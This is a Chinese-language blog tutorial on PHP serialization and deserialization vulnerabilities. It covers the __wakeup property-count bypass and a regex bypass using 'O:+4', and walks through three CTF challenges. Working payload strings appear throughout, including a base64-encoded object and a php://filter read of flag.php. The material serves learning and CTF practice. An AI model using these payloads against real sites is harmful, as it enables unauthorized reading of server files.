事情起因#
最近衝動買了高配台式,在把內存加到 32G 後有想把內網代理那篇文章寫了的衝動了,再緩緩
如題,最近在查缺補漏,把一直聽著說著沒復現過的漏洞學習一下,準備開始批量刷 SRC 了
如果批量刷 SRC 有啥比較好的姿勢我也會分享出來
這篇文章,從 php 的反序列化入手,來簡單介紹下序列化,反序列化以及反序列化漏洞的概念以及一些例子
環境搭建#
首先,編輯器還是一直推薦vsc
(visual studio code)
然後,你需要一個php
環境,這裡直接使用各種集成環境即可,用wampp
,xampp
都可以
我用的還是phpstudy pro,默認安裝了php7
的版本
安裝完重新打開vsc
,在phpstudy
網站根目錄新建保存一個index.php
文件
vsc
會自動幫你找到系統上註冊的php
路徑,在文件按shift + alt +f
進行快速代碼格式化,會提示你沒安裝php
格式化工具,點進去安裝第一個就行
啟動Apache
,隨便寫個
<?php echo "hellow world!";
瀏覽器訪問127.0.0.1
你現在就擁有一個php
環境了
概念學習#
什麼是序列化?
php 程序為了保存和轉儲對象,提供了序列化的方法,php 序列化是為了在程序運行的過程中對對象進行轉儲而產生的。序列化可以將對象轉換成字符串但僅保留對象裡的成員變量,不保留函數方法
用一句話來概括序列化與反序列化:序列化就是把一個對象轉換成字符串,反序列化就是把字符串轉換為對象
下面來簡單解釋下,首先新建一段代碼:
<?php
class Student
{
public $name = "studentone";
function getName()
{
return "soapffz";
}
function __construct()
{
echo "__construct";
echo "</br>";
}
}
$s = new Student();
echo $s->getName() . "</br>";
這是一個正常的調用類的方法:
那麼,序列化是什麼意思呢?我們在最後加一段代碼:
//serialize function把一個對象轉換成字符串
$s_serilize = serialize($s);
print_r($s_serilize);
輸出為:O:7:"Student":1:{s:4:"name";s:10:"studentone";}
這串序列化後得到的字符串的解釋如下:
- O:這是一個對象類型
- 7;這個對象名稱長度為 7
- Student:對象名
- 1:該對象含有一對鍵值
- s:該鍵類型為字符串
- 4:該鍵名長度為 4
- name:鍵名
剩下的依次類推,當然我的釋義可能不太準確,建議去查下官方是怎麼解釋的
這就是一個序列化的過程,把這個對象的所有類型及包含的內容都變為了一段簡單的格式化字符串數據
看下反序列化的過程:
<?php
$Student = 'O:7:"Student":1:{s:4:"name";s:10:"studentone";}';
$s_unserilize = unserialize($Student);
print_r($s_unserilize);
echo "</br>";
輸出為;Student Object ( [name] => studentone )
這就是一個反序列化的過程,把一個標準的包含類型和數據的字符串反序列化了為一個對象
對象中常用的魔術方法如下:
-
__construct:在創建對象時初始化對象,一般用於對變量賦初值。
-
__destruct:和構造函數相反,當對象所在函數調用完畢後執行。
-
__toString:當對象被當做一個字符串使用時調用。
-
__sleep: 序列化對象之前就調用此方法 (其返回需要一個數組)
-
__wakeup: 反序列化恢復對象之前調用該方法
-
__call: 當調用對象中不存在的方法會自動調用該方法。
-
__get: 在調用私有屬性的時候會自動執行
-
isset () 在不可訪問的屬性上調用 isset () 或 empty () 觸發unset () 在不可訪問的屬性上使用 unset () 時觸發
需要注意的是,這串字符串一定是前後一一對應的
比如前面對象處標明該對象只有一對鍵值 1,但是卻在後面寫了兩對鍵值,就不能正常完成反序列化,這也是後面反序列漏洞繞過__wakeup () 函數的關鍵
__wakeup () 函數漏洞#
上面介紹的是序列化與反序列化的基本概念,下面用一個例子介紹下php
反序列化漏洞的核心(到目前只接觸到這個函數)
<?php
class Student{
public $full_name = 'zhangsan';
public $score = 150;
public $grades = array();
function __wakeup() {
echo "__wakeup is invoked";
}
}
$s = new Student();
var_dump(serialize($s));
-
最後頁面上輸出的就是 Student 對象的一個序列化輸出:
-
O:7:"Student":3:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}
-
其中在 Stuedent 類後面有一個數字 3,整個 3 表示的就是 Student 類存在 3 個屬性。
-
wakeup () 漏洞就是與整個屬性個數值有關。當序列化字符串表示對象屬性個數的值大於真實個數的屬性時就會跳過 wakeup 的執行。
-
當我們將上述的序列化的字符串中的對象屬性個數修改為 5,變為
-
O:7:"Student":5:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}
-
最後執行運行的代碼如下:
<?php
class Student
{
public $full_name = 'zhangsan';
public $score = 150;
public $grades = array();
function __wakeup()
{
echo "__wakeup is invoked";
}
function __destruct()
{
var_dump($this);
}
}
$s = new Student();
$stu = unserialize('O:7:"Student":5:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}');
echo $stu;
ctf 例子 1#
來自攻防世界 -> web 高手進階區 -> Web_php_unserialize
網頁上放著的源代碼如下:
<?php
class Demo
{
private $file = 'index.php';
public function __construct($file)
{
$this->file = $file;
}
function __destruct()
{
echo @highlight_file($this->file, true);
}
function __wakeup()
{
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
代碼解釋:
-
可以看到此代碼生成類的函數和上面的簡單例子變化不大:
-
__construct (),創建時自動調用,用得到的參數覆蓋 $file
-
__destruct (),銷毀時調用,會顯示文件的代碼,這裡要顯示 fl4g.php
-
__wakeup (),反序列化時調用,會把 $file 重置成 index.php
-
在類 Demo 中有三個方法,一個構造,一個析構,還有就是一個魔術方法,構造函數construct () 在程序執行開始的時候對變量進行賦初值。析構函數destruct (),在對象所在函數執行完成之後,會自動調用,這裡就會高亮顯示出文件。
-
對 Demo 這個類進行序列化,base64 加密之後,賦值給 var 變量進行 get 傳參就行了
-
如果一個類定義了 wakup () 和 destruct (),則該類的實例被反序列化時,會自動調用 wakeup (), 生命週期結束時,則調用 desturct ()
-
在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本存在 wakeup 的漏洞。當反序列化中 object 的個數和之前的個數不等時,wakeup 就會被繞過。
-
正則匹配可以用 + 號來進行繞過,也就是 O:4,我們用 O:+4 即可繞過
-
isset () 函數用於檢測變量是否已設置並且非 NULL。
-
如果已經使用 unset () 釋放了一個變量之後,再通過 isset () 判斷將返回 FALSE。
-
若使用 isset () 測試一個被設置成 NULL 的變量,將返回 FALSE。
-
同時要注意的是 null 字符("\0")並不等同於 PHP 的 NULL 常量。
-
PHP 版本要求: PHP 4, PHP 5, PHP 7
在源代碼之後加調用代碼:
$a = new Demo("fl4g.php");
$a = serialize($a);
echo $a;
//O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}
$a = str_replace('O:4', 'O:+4', $a);
$a = str_replace('1:{', '2:{', $a);
echo $a;
//O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
echo base64_encode($a);
//TzorNDoiOiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
這裡有個坑,注意代碼的第四行file
變量為private
私有變量,所以序列化之後的字符串開頭結尾各有一個空白字符(即 %00),字符串長度也比實際長度大 2,如果將序列化結果複製到在線的base64
網站進行編碼可能就會丟掉空白字符,所以這裡直接在php
代碼裡進行編碼。類似的還有protected
類型的變量,序列化之後字符串首部會加上%00*%00
最後直接訪問你的靶場地址/index.php?var=TzorNDoiOiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
即可得到flag
ctf 例子 2#
來自攻防世界 -> web 高手進階區 -> unserialize3
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
打開網站,就這麼一段代碼,需要繞過__weakup
函數,結果?code=
的提示,需要將序列化之後的值傳給code
首先實例化xctf
類並對其使用序列化(這裡就實例化xctf
類為對象test
)
<?php
class xctf
{ //定義一個名為xctf的類
public $flag = '111'; //定義一個公有的類屬性$flag,值為111
public function __wakeup()
{ //定義一個公有的類方法__wakeup(),輸出bad requests後退出當前腳本
exit('bad requests');
}
}
$test = new xctf(); //使用new運算符來實例化該類(xctf)的對象為test
echo (serialize($test)); //輸出被序列化的對象(test)
//O:4:"xctf":1:{s:4:"flag";s:3:"111";}
-
我們要反序列化 xctf 類的同時還要繞過 wakeup 方法的執行(如果不繞過 wakeup () 方法,那麼將會輸出 bad requests 并退出腳本),wakeup () 函數漏洞原理:當序列化字符串表示對象屬性個數的值大於真實個數的屬性時就會跳過 wakeup 的執行。因此,需要修改序列化字符串中的屬性個數:
-
當我們將上述的序列化的字符串中的對象屬性個數由真實值 1 修改為 2,即如下所示:
-
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
-
訪問 url:?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
-
即可得到 flag
ctf 例子 3#
來自 2020 網鼎杯 青龍組 WEB
題目 AreUSerialz
,ctfhub 靶場中可以搜到
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler
{
protected $op;
protected $filename;
protected $content;
function __construct()
{
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process()
{
if ($this->op == "1") {
$this->write();
} else if ($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write()
{
if (isset($this->filename) && isset($this->content)) {
if (strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if ($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read()
{
$res = "";
if (isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s)
{
echo "[Result]: <br>";
echo $s;
}
function __destruct()
{
if ($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s)
{
for ($i = 0; $i < strlen($s); $i++)
if (!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if (isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if (is_valid($str)) {
$obj = unserialize($str);
}
}
依然先看最後執行部分的代碼:
if (isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if (is_valid($str)) {
$obj = unserialize($str);
}
}
GET
型傳參str,調用
is_valid()方法判斷,符合條件則對字符串化後的
str進行反序列化操作,那麼再來看下
is_valid()`
function is_valid($s)
{
for ($i = 0; $i < strlen($s); $i++)
if (!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
對傳入參數的每一位的ascii
碼判斷,需落在 [32,125] 之間,也就是判斷是否為可見字符,否則返回false
,反序列化操作不會進行,接下來看下__destruct
析構方法
function __destruct()
{
if ($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
如果 op==="2",將其賦為 "1",同時content
賦空,進入process
函數,
需要注意到的地方是,這裡 op 與 "2" 比較的時候是強類型比較
-
=== 強類型比較 在進行比較的時候,會先判斷兩種字符串的類型是否相等,再比較
-
== 弱類型比較在進行比較的時候,會將字符轉化為相同類型,再進行比較 (如果比較涉及數字內容的字符串,則字符串會被轉換成數值並且按照轉化後的數值進行比較)
public function process()
{
if ($this->op == "1") {
$this->write();
} else if ($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
進入 process 函數後,如果 op=="1",則進入write
函數,若 op=="2",則進入 read 函數,否則輸出報錯,可以看出這裡 op 與字符串的比較變成了弱類型比較 ==
所以我們只要令 op=2, 這裡的 2 是整數int
。當 op=2 時,op==="2" 為false
,op=="2" 為 true,接著進入read
函數
private function read()
{
$res = "";
if (isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
filename
是我們可以控制的,接著使用file_get_contents
函數讀取文件,此處直接讀取flag.php
即可,有時候還會考察php
伪協議,如果還遇到考察php
伪協議的情況,直接把後面的flag.php
改為
php://filter/read=convert.base64-encode/resource=flag.php
即可,此題沒有考察到伪協議,獲取到文件後使用output
函數輸出
整個利用思路就很明顯了,還有一個需要注意的地方是,$op,$filename,$content 三個變量權限都是 protected,而protected
權限的變量在序列化的時會有 %00*%00 字符,%00 字符的ASCII
碼為 0,就無法通過上面的is_valid
函數校驗
現在先來生成序列化字符串吧,將$filename
改為我們要讀的文件:
<?php
class FileHandler
{
protected $op=2;
protected $filename="flag.php";
protected $content="";
}
$ff=new FileHandler();
echo serialize($ff);
生成如下:
O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";s:0:"";}
需要注意的是,protected
類型的成員變量序列化會生成%00,會被
false掉,
php7對於類的屬性不敏感,可以改用
public` 類型就可以了
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}
此時可以進行傳參了:
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}
右鍵查看網頁源代碼即得flag
:
參考文章:
- [小白也能學會的反序列化漏洞][13]
- [2020 網鼎杯青龍組部分 Web 復現][14]
- [網鼎杯 2020 青龍組 AreUSerialz][15]
- [記一次對 CTF 青龍組歷年真題的自我理解][16]